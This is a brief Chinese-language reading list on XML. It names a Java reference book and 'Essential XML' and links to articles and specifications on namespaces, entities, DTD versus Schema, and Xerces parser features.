《Java 核心技术 卷二》 《Essential XML》 XML 模式:了解命名空间 : https://www.oracle.com/technetwork/cn/articles/srivastava-namespaces-098626-zhs.html 在 XML 中添加实体: https://www.ibm.com/developerworks/cn/xml/x-entities/ XML Schema 与 XML DTD的技术比较与分析: https://www.ibm.com/developerworks/cn/xml/x-sd/index.html Namespaces in XML 1.0: https://www.w3.org/TR/REC-xml-names/ 由 Tim Bray 注释的 XML 标准: https://www.xml.com/axml/axml.html XML 标准引用: https://docs.microsoft.com/zh-cn/previous-versions/dotnet/netframework-3.5/ms256177(v=vs.90) ATTLIST: https://docs.microsoft.com/zh-cn/previous-versions/ms256140(v=vs.120) ELEMENT: https://docs.microsoft.com/zh-cn/previous-versions/ms256221(v=vs.120) ENTITY: https://docs.microsoft.com/zh-cn/previous-versions/ms256483(v=vs.120) Schema 教程: https://www.w3school.com.cn/schema/index.asp http://xerces.apache.org/xerces-j/features.html